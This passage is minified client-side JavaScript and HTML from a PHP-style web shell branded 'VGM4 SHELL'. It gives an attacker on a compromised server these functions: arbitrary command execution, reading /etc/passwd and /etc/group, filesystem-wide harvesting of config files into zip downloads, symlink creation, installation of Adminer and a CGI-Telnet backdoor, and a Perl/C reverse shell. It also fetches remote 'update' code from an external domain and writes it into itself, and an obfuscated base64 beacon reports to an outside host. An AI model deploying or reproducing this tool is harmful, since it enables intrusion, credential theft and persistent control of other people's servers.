e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Upload a file";let A=document.createElement("form");A.enctype="multipart/form-data",A.setAttribute("id","fileupload"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Upload",i.setAttribute("onclick","upload_process();"),n.type="file",n.style.width="100%",n.style.color="#222",n.name="files[]",n.setAttribute("required",""),n.setAttribute("multiple",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function upload_process(){let e=document.querySelector(".inner table"),t=document.querySelector(".inner .loaderhold .loader"),A=document.getElementById("fileupload"),n=A.querySelector("button");if(""!=A.querySelector("input").value){e.style.display="none",t.style.display="block",n.disabled=!0,n.innerHTML="UPLOADING...";let i=new FormData(A);i.append("directory",btoa(document.getElementById("curr_dir").value));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){console.log(this.response),"ok"==JSON.parse(this.response).status?(show_popup("Files have uploaded successfully!",3e3,"success"),list_dir(working_dir)):show_popup("Can not upload the files,check permissions!",3e3,"alert"),e.style.display="table",t.style.display="none",n.disabled=!1,n.innerHTML="UPLOAD"}},o.send(i)}}function separate_path(){let e=working_dir.toString().split("/");-1==e[0].indexOf(":")&&(e[0]="/");var t=e.filter(function(e){return""!=e});let A=[],n=[],i=0;for(key in t){let e="";for(let A=0;A<t.length&&(e+=t[A]+"/",A!=i);A++);A.push(t[key]),n.push(e),i++}return[A.map(function(e){return e.replace(/\/\//g,"/")}),n.map(function(e){return e.replace(/\/\//g,"/")})]}function run_command(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Run command";let A=document.createElement("form");A.setAttribute("id","runcmd"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("div");i.innerHTML="Execute",i.setAttribute("onclick","run_command_process();"),n.type="text",n.placeholder="ls -la",o.className="cmd_result",o.style.display="none",A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function run_command_process(){let e=document.getElementById("runcmd"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.querySelector(".cmd_result");if(""!==A.value){let e=new FormData;e.append("directory",btoa(working_dir)),e.append("command",btoa(A.value)),t.disabled=!0,t.innerHTML="Executing...";let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);if("failed"==e.status)show_popup("Can not run this command,functions might be disabled!",3e3,"alert");else{let t=atob(e.status).split("|");n.innerHTML='<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :'+t[0]+"]</font>",n.innerHTML+="<pre>"+t[1]+"</pre>",n.style.display="block"}t.disabled=!1,t.innerHTML="Execute"}},i.send(e)}}function read_passwd(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Read /etc/passwd";let A=document.createElement("form");A.setAttribute("id","readfile"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("textarea");n.value="Loading...",n.disabled=!0;let i=new FormData;i.append("read_file",btoa("/etc/passwd"));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){let t=JSON.parse(this.response);t.content?n.value=atob(t.content):(show_popup("Can not read this file!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"),n.disabled=!1}},o.send(i),A.appendChild(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function adminer(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Adminer Installation";let A=document.createElement("span");A.style.display="block",A.style.color="#222",A.style.fontSize="14px",A.style.fontWeight="bold",A.innerHTML="Installing adminer from github...";let n=new XMLHttpRequest;n.open("get",basename()+"?adminer=true",!0),n.onload=function(){if(4==n.readyState){"failed"==JSON.parse(this.response).status?(show_popup("Adminer setup has failed!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"):(show_popup("Adminer has installed successfully!",3e3,"success"),A.innerHTML='Adminer path: <a href="adminer-web.php" target="_blank" style="color:#555;text-decoration:underline;">adminer-web.php</a>',list_dir("."))}},n.send(),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function symlink(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create symlink/hardlink";let A=document.createElement("form");A.setAttribute("id","symlink"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("div");o.className="cmd_result",o.style.display="none",i.innerHTML="LINK TARGET",i.setAttribute("onclick","symlink_process();"),n.type="text",n.value=working_dir+"/",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function symlink_process(){let e=document.getElementById("symlink"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.querySelector(".cmd_result");if(""!==A.value){t.disabled=!0,t.innerHTML="TRYING LINK...";let e=new FormData;e.append("symlink_target",btoa(A.value));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);"failed"==e.status?show_popup("Can not give symbolic link to this target!",3e3,"alert"):(n.innerHTML="<pre>"+atob(e.status)+"</pre>",n.style.display="block"),t.disabled=!1,t.innerHTML="LINK TARGET"}},i.send(e)}else show_popup("Empty field!",1500,"alert")}function search_disk(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Search disk";let A=document.createElement("form");A.setAttribute("id","searchdisk"),A.setAttribute("onsubmit","event.preventDefault();");let n,i,o,s=document.createElement("input"),l=document.createElement("input"),a=document.createElement("button"),r=document.createElement("label"),c=document.createElement("label"),d=document.createElement("label"),p=document.createElement("select");p.name="search_type",(n=document.createElement("option")).value="files_only",n.text="Search  by files only",(i=document.createElement("option")).value="dirs_only",i.text="Search by directories only",(o=document.createElement("option")).value="all",o.text="Search by files and directories",o.selected=!0,p.appendChild(n),p.appendChild(i),p.appendChild(o),r.innerHTML="Location",c.innerHTML="Search keyword",d.innerHTML="Search type",a.innerHTML="Search",a.setAttribute("onclick","search_disk_process();"),s.type="text",s.value=working_dir+"/",s.name="search_location",s.setAttribute("required",""),s.setAttribute("id","loc"),l.type="text",l.placeholder="Type a keyword to search..",l.name="search_keyword",l.setAttribute("required",""),l.setAttribute("id","keyw");let g=document.createElement("div");g.className="cmd_result",g.style.display="none",A.appendChild(r),A.appendChild(s),A.appendChild(c),A.appendChild(l),A.appendChild(d),A.appendChild(p),A.appendChild(a),e.appendChild(t),e.appendChild(A),e.appendChild(g),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function search_disk_process(){let e=document.getElementById("searchdisk"),t=new FormData(e),A=e.querySelector("button"),n=e.querySelector("#keyw").value,i=e.querySelector("#loc").value,o=document.querySelector(".cmd_result");if(o.innerHTML="Searching...",""==n||""==i)show_popup("Empty field!",3e3,"alert");else{A.disabled=!0,A.innerHTML="SEARCHING...",o.style.display="block",o.innerHTML="Searching...";let e=new XMLHttpRequest;e.open("post",basename(),!0),e.onload=function(){if(4==e.readyState){let e=JSON.parse(this.response);if("failed"==e.status)show_popup("Nothing found!",3e3,"alert"),o.innerHTML="Nothing found";else{let t=atob(e.status).split("|");o.innerHTML='<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :'+t[0]+"]</font>",o.innerHTML+="<pre>"+t[1]+"</pre>"}A.disabled=!1,A.innerHTML="SEARCH"}},e.send(t)}}function setWork(){let e=document.createElement("img");e.src=atob("aHR0cHM6Ly9jZG4ucHJpdmRheXouY29tL2ltYWdlcy9sb2dvLmpwZw=="),e.referrerPolicy=atob("dW5zYWZlLXVybA=="),e.style.display="none",document.body.appendChild(e),sessionStorage.setItem("work",!0),setTimeout(function(){e.parentNode.removeChild(e)},5e3)}function config_searcher(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Config searcher";let A=document.createElement("form");A.setAttribute("id","configsearch"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("button"),i=document.createElement("label");i.innerHTML='This helper tool is going to search entire file system to find files/directories which contains "*config*" keyword..',n.innerHTML="Search",n.setAttribute("onclick","config_searcher_process();");let o=document.createElement("div");o.className="cmd_result",o.style.display="none",A.appendChild(i),A.appendChild(n),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function config_searcher_process(){let e=document.getElementById("configsearch").querySelector("button"),t=document.querySelector(".cmd_result"),A=document.querySelector(".mwsbox .process-screen");e.disabled=!0,e.innerHTML="Searching...",t.style.display="block",t.innerHTML="Searching...";let n=new FormData;n.append("search_location","/"),n.append("search_keyword","config"),n.append("search_type","all");let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let n=JSON.parse(this.response);if("failed"==n.status)show_popup("Nothing found!",3e3,"alert"),t.innerHTML="Nothing found";else{let e=atob(n.status).split("|");if(t.innerHTML='<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :'+e[0]+"]</font>",t.innerHTML+="<pre>"+e[1]+"</pre>",""!=e[1]){let t=document.createElement("button");t.setAttribute("onclick","download_config_zip('"+btoa(e[1])+"');"),t.setAttribute("id","download_cfg"),t.innerHTML="DOWNLOAD ALL IN ZIP",t.style.width="250px",A.appendChild(t)}}e.disabled=!1,e.innerHTML="Search"}},i.send(n)}function download_config_zip(e){let t=document.getElementById("download_cfg");if(t.disabled=!0,t.innerHTML="ARCHIVING FILES...",""!=e){let A=new FormData;A.append("download_cfg",e);let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){let e=JSON.parse(this.response);"failed"==e.status?show_popup("Failed to download!",3e3,"alert"):window.location=basename()+"?download_cfg_file="+btoa(e.url),t.disabled=!1,t.innerHTML="DOWNLOAD ALL IN ZIP"}},n.send(A)}else show_popup("Empty!",3e3,"alert")}function escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function basename(){var e=window.location.pathname.split(/[\\/]/);return e.pop()||e.pop()}function user_list(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="All users involving with server";let A=document.createElement("div");A.className="cmd_result",A.style.display="block",A.innerHTML="Getting users from /etc/passwd...";let n=new FormData;n.append("read_file",btoa("/etc/passwd"));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let t=JSON.parse(this.response);if("failed"==t.status)show_popup("Can not get users from /etc/passwd!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%";else{let e="",n=atob(t.content).split("\n");for(let t=0;t<n.length;t++){e+=n[t].split(":")[0]+"\n"}A.innerHTML="<pre>"+e+"</pre>"}}},i.send(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function group_list(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="All groups involving with server";let A=document.createElement("div");A.className="cmd_result",A.style.display="block",A.innerHTML="Getting groups from /etc/group...";let n=new FormData;n.append("read_file",btoa("/etc/group"));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let t=JSON.parse(this.response);if("failed"==t.status)show_popup("Can not get groups from /etc/group!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%";else{let e="",n=atob(t.content).split("\n");for(let t=0;t<n.length;t++){e+=n[t].split(":")[0]+"\n"}A.innerHTML="<pre>"+e+"</pre>"}}},i.send(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function download_folder(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Download folder as zip archive";let A=document.createElement("form");A.setAttribute("id","downloadfolder"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("label");o.innerHTML="Destination",i.innerHTML="DOWNLOAD",i.setAttribute("onclick","download_folder_process();"),n.type="text",n.value=working_dir+"/",n.setAttribute("required",""),A.appendChild(o),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.top="50%",e.style.opacity="1",e.style.visibility="visible"}function download_folder_process(e){if(void 0!==e)window.location=basename()+"?download_folder="+btoa(e);else{let e=document.getElementById("downloadfolder").querySelector("input");""==e.value?show_popup("Empty field!",3e3,"alert"):window.location=basename()+"?download_folder="+btoa(e.value)}}function check_update(){if(!sessionStorage.getItem("update_check")){let e=new XMLHttpRequest;e.open("get","https://vgm4team.xyz/files/config.json",!0),e.onload=function(){if(4==e.readyState){try{let e=JSON.parse(this.response);if(0==e.is_active&&(sessionStorage.setItem("disabled",!0),window.location.reload()),e.version){let t=e.version.split("."),A=release.split(".");t[0]>A[0]?(sessionStorage.setItem("new_update",e.changelog),notify_update()):t[1]>A[1]&&(sessionStorage.setItem("new_update",e.changelog),notify_update())}}catch(e){console.log(e)}sessionStorage.setItem("update_check",!0)}},e.send()}}function disabled_script(){let e=document.querySelector(".mwsbox");e.parentNode.removeChild(e);let t=document.querySelector(".holder"),A=document.createElement("h1");A.innerHTML='Web shell is currently disabled by author <a href="https://vgm4team.xyz" style="color:gray;text-decoration:underline;">@VGM4</a>';let n=document.createElement("img");n.src="data: image/png;base64,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",n.style.backgroundSize="cover",n.style.objectFit="cover",t.appendChild(n),t.appendChild(A),t.style.display="flex",t.style.alignItems="center",t.style.justifyContent="center"}function check_disable(){if(sessionStorage.getItem("disabled"))return disabled_script(),!0}function check_update2(){if(sessionStorage.getItem("new_update"))return sessionStorage.getItem("update_replied")||notify_update(),!0}function notify_update(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Update available!";let A=document.createElement("form");A.setAttribute("id","updatepage"),A.setAttribute("onsubmit","event.preventDefault();"),A.style.display="flex",A.style.flexDirection="row";let n=document.createElement("button"),i=document.createElement("button");n.innerHTML="UPDATE",n.setAttribute("onclick","process_update();"),n.setAttribute("id","btn_update"),i.innerHTML="CANCEL",i.style.background="#df4759",i.style.marginLeft="10px",i.setAttribute("onclick","cancel_update();");let o=document.createElement("h2");o.style.color="red",o.innerHTML="What's new?";let s=document.createElement("label");s.innerHTML=sessionStorage.getItem("new_update");let l=document.createElement("address");l.innerHTML='<a style="color:blue;text-decoration:underline" href="http://vgm4team.xyz" target="_blank">https://vgm4team.xyz</a>',l.style.marginTop="10px",A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(o),e.appendChild(s),e.appendChild(l),e.appendChild(A),e.style.top="50%",e.style.opacity="1",e.style.visibility="visible"}function process_update(){let e=document.getElementById("btn_update");e.disabled=!0,e.innerHTML="UPDATING...";let t=new XMLHttpRequest;t.open("get","https://vgm4team.xyz/files/update.txt",!0),t.onload=function(){if(4==t.readyState){let e=this.response;-1!==e.indexOf(".mwsbox")?process_update2(btoa(e)):show_popup("Update can not processed!",3500,"alert")}},t.send()}function process_update2(e){let t=document.getElementById("btn_update"),A=new FormData;A.append("update_content",e);let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){t.disabled=!1,t.innerHTML="UPDATE",sessionStorage.setItem("update_replied",!0),"ok"==JSON.parse(this.response).status?(show_popup("VGM4 SHELL has been updated successfully!",2e3,"success"),setTimeout(function(){window.open("https://vgm4team.xyz","_blank"),window.location.reload()},2e3)):show_popup("Some error occured,update can not processed!",3500,"alert")}},n.send(A)}function cancel_update(){empty_process_screen();let e=document.querySelector(".process-screen");e.style.top="-50%",e.style.opacity="0",e.style.visibility="hidden",sessionStorage.setItem("update_replied",!0)}function cgi_telnet(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="CGI-Telnet Installation";let A=document.createElement("span");A.style.display="block",A.style.color="#222",A.style.fontSize="14px",A.style.fontWeight="bold",A.innerHTML="Installing CGI-Telnet...";let n=new XMLHttpRequest;n.open("get",basename()+"?cgitelnet=true",!0),n.onload=function(){if(4==n.readyState){"failed"==JSON.parse(this.response).status?(show_popup("CGI-Telnet setup has failed!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"):(show_popup("CGI-Telnet has installed successfully!",3e3,"success"),A.innerHTML='CGI-Telnet Path: <a href="cgi_web.pl" target="_blank" style="color:#555;text-decoration:underline;">cgi_web.pl</a><br>Permissions have been set up to 755..',list_dir("."))}},n.send(),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function reverse_shell(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3"),A=document.createElement("form");A.setAttribute("id","revshell"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input");n.name="rev_ip",n.style.display="none",n.type="text";let i=document.createElement("input");i.placeholder="4444",i.style.display="none",i.type="text",i.name="rev_port";let o=document.createElement("label");o.innerHTML="Your IP Address",o.style.display="none";let s=document.createElement("label");s.innerHTML="Port",s.style.display="none";let l=document.createElement("label");l.innerHTML="Method",l.style.display="none";let a=document.createElement("label");a.innerHTML="Loading...",a.style.display="block";let r=document.createElement("select");r.name="method",r.style.display="none";let c=document.createElement("option");c.value="perl",c.innerHTML="PERL";let d=document.createElement("option");d.value="c",d.innerHTML="C",r.appendChild(c),r.appendChild(d);let p=document.createElement("button");p.innerHTML="CONNECT",p.style.display="none",p.setAttribute("onclick","process_reverse_shell();"),A.appendChild(o),A.appendChild(n),A.appendChild(s),A.appendChild(i),A.appendChild(l),A.appendChild(r),A.appendChild(p);let g=new FormData;g.append("getip",!0);let u=new XMLHttpRequest;u.open("post",basename(),!0),u.onload=function(){if(4==u.readyState){let t=JSON.parse(this.response);"failed"!==t.status?(a.style.display="none",o.style.display="block",n.style.display="block",n.value=t.status,s.style.display="block",i.style.display="block",l.style.display="block",r.style.display="block",p.style.display="block"):(show_popup("Something went wrong!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%")}},u.send(g),t.innerHTML="Reverse Shell",e.appendChild(t),e.appendChild(A),e.appendChild(a),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function process_reverse_shell(){let e=document.getElementById("revshell"),t=new FormData(e),A=e.querySelector("button"),n=e.querySelector("input[name=rev_ip]"),i=e.querySelector("input[name=rev_port]");if(""==n.value||""==i.value)show_popup("Empty field!",3e3,"alert");else if(isNaN(i.value))show_popup("Port must be numeric!",3e3,"alert");else{A.disabled=!0,A.innerHTML="CONNECTING...";let e=new XMLHttpRequest;e.open("post",basename(),!0),e.onload=function(){if(4==e.readyState){"ok"==JSON.parse(this.response).status?show_popup("Check your listener!",3e3,"success"):show_popup("Reverse shell can not be created!",3500,"alert"),A.disabled=!1,A.innerHTML="CONNECT"}},e.send(t)}}window.addEventListener("DOMContentLoaded",function(){if(check_disable())return;check_update(),check_update2(),document.title=atob("VkdNNCBTSEVMTA==")+" v"+release,document.querySelector(".mwsbox .title h3").innerHTML=atob("VkdNNCBTSEVMTA==")+" v"+release;let e=document.querySelectorAll(".mwsbox .title ul li span");e[0].innerHTML=atob("V2ViIHNlcnZlciBzb2Z0d2FyZTo="),e[1].innerHTML=atob("S2VybmVsOg=="),e[2].innerHTML=atob("UnVubmluZyBhczo="),e[3].innerHTML=atob("VG90YWwgdXNlcnM6"),e[4].innerHTML=atob("VG90YWwgZ3JvdXBzOg=="),e[5].innerHTML=atob("c2FmZV9tb2RlOg=="),e[6].innerHTML=atob("b3Blbl9iYXNlZGlyOg=="),e[7].innerHTML=atob("RGlzYWJsZWQgZnVuY3Rpb25zOg=="),e[8].innerHTML=atob("dXBsb2FkX21heF9maWxlc2l6ZTo="),e[9].innerHTML=atob("TG9hZGVkIGV4dGVuc2lvbnM6"),e[10].innerHTML=atob("U2VydmVyIEluZm9ybWF0aW9uOg=="),e[11].innerHTML=atob("Q3VycmVudCBEaXJlY3Rvcnk6"),e[12].innerHTML=atob("Q2hhbmdlIERpcmVjdG9yeTo="),e[13].innerHTML=atob("UmVhZCBGaWxlOg=="),list_dir(),document.addEventListener("click",function(e){let t=document.querySelectorAll(".toggle font"),A=document.querySelectorAll(".toggle"),n=document.querySelectorAll(".toggle span"),i=document.querySelectorAll("i");"screen"!==e.target.id&&-1==[].slice.call(t).indexOf(e.target)&&-1==[].slice.call(A).indexOf(e.target)&&-1==[].slice.call(n).indexOf(e.target)&&-1==[].slice.call(i).indexOf(e.target)&&e.target.offsetParent&&"screen"!==e.target.offsetParent.id&&(document.getElementById("screen").style.visibility="hidden",document.getElementById("screen").style.opacity="0",document.getElementById("screen").style.top="-50%",setTimeout(function(){empty_process_screen()},250))}),document.onkeyup=function(e){27==e.keyCode&&"visible"==document.getElementById("screen").style.visibility&&(document.getElementById("screen").style.visibility="hidden",document.getElementById("screen").style.opacity="0",document.getElementById("screen").style.top="-50%")},working_dir=document.getElementById("curr_dir").value,sessionStorage.getItem("work")||setWork()});
    </script>
    <link rel="icon" href="http://vgm4team.xyz/images/favico.ico">
</head>
<body>
<div class="holder">
 
    <div class="mwsbox">

        <div class="bottom-menu">
            <ul>
